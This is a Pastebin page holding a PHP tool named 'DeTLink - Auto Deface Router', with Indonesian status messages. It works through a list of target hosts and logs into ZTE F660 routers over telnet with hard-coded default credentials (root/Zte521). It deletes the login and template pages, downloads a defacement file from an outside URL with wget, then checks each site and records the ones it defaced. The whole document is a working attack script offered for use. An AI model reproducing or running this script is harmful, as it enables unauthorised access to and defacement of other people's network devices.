Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- error_reporting(0);
- /**
- * Create @ Shor7cut - 10/08/2016 2:31 (WIB)
- * Name : DeTLink - Auto Deface Router
- * Author : Shor7cut
- * Link : http://facebook.com/bug7sec
- * --- List Router ----
- * - F660
- */
- $DeTLink = new DeTLink;
- $DeTLink->fileDeface("http:// ? "); // add meta tag : <meta name="author" content="Nickname">
- $DeTLink->fileTarget("target.txt");
- $DeTLink->output("didepesss.txt");
- $DeTLink->nickname("Shor7cut");
- $DeTLink->user("root");
- $DeTLink->pass("Zte521");
- $DeTLink->port("23");
- $DeTLink->timeout("10");
- $DeTLink->delimit("\r\n");
- $DeTLink->run();
- class DeTLink
- {
- var $fileDeface;var $fileTarget;var $host;
- var $user;var $pass;var $port;var $delimit;
- var $timeout; var $nickname;
- public function fileDeface($value){return $this->fileDeface = $value;}
- public function fileTarget($value){return $this->fileTarget = $value;}
- public function host($value){return $this->host = $value;}
- public function user($value){return $this->user = $value;}
- public function pass($value){return $this->pass = $value;}
- public function port($value){return $this->port = $value;}
- public function delimit($value){return $this->delimit = $value;}
- public function timeout($value){return $this->timeout = $value;}
- public function nickname($value){return $this->nickname = $value;}
- public function output($value){return $this->output = $value;}
- public function pesan($value){
- echo "[".date("H:i:s")."] ".$value."\r\n";
- }
- public function exploit(){
- unlink("cookie.txt");
- $this->pesan("-> Mengirim request ke ".$this->host);
- $shc = fsockopen($this->host, $this->port , $errno, $errstr, $this->timeout);
- if(! $shc ){
- $this->pesan("-> Request telah di tolak");
- return false;
- }
- $this->pesan("-> Mengirim request login");
- fputs($shc, "$user\r\n");
- fputs($shc, "$pass\r\n");
- $this->pesan("-> Mengirim request perintah : cd home/httpd");
- fputs($shc, "cd home/httpd\r\n");
- $this->pesan("-> Mengirim request perintah : rm -rf *.gch");
- fputs($shc,"rm -rf login.gc template.gch setlang.gch\r\n");
- $this->pesan("-> Mengirim request perintah : wget");
- fputs($shc,"wget -O login.gch ".$this->fileDeface."\r\n");
- fputs($shc,"wget -O template.gch ".$this->fileDeface."\r\n");
- fputs($shc,"wget -O setlang.gch ".$this->fileDeface."\r\n");
- fclose($shc);
- $this->pesan("-> Melakukan pemeriksaan pada ".$this->host);
- }
- public function ckDeface(){
- $ch = curl_init($this->host);
- curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
- curl_setopt($ch, CURLOPT_CONNECTTIMEOUT ,0);
- curl_setopt($ch, CURLOPT_TIMEOUT, 10);
- curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
- curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt ($ch, CURLOPT_COOKIEJAR,getcwd().'/cookie.txt');
- curl_setopt ($ch, CURLOPT_COOKIEFILE,getcwd().'/cookie.txt');
- $data = curl_exec ($ch);
- $re = "/<meta name=\"author\" content=\"(.*?)\">/m";
- preg_match_all($re, $data, $matches);
- if($matches[1][0]){
- $myfile = fopen($this->output, "w+") or die("Unable to open file!");
- fwrite($myfile, $this->host."\r\n");
- fclose($myfile);
- $this->pesan("-> Penyerangan pada ".$this->host." telah berhasil");
- }else{
- $this->pesan("-> Penyerangan pada ".$this->host." tidak berhasil");
- }
- }
- public function run(){
- $files = file_get_contents($this->fileTarget);
- $file = explode($this->delimit, $files );
- $is = 1;
- $ix = count($file);
- foreach ($file as $key => $value) {
- $this->pesan("-> Melakukan pengecekan ".$is."/".$ix." target");
- $this->host = $value;
- $this->exploit();
- $this->ckDeface();
- echo "\r\n";
- $is++;
- }
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement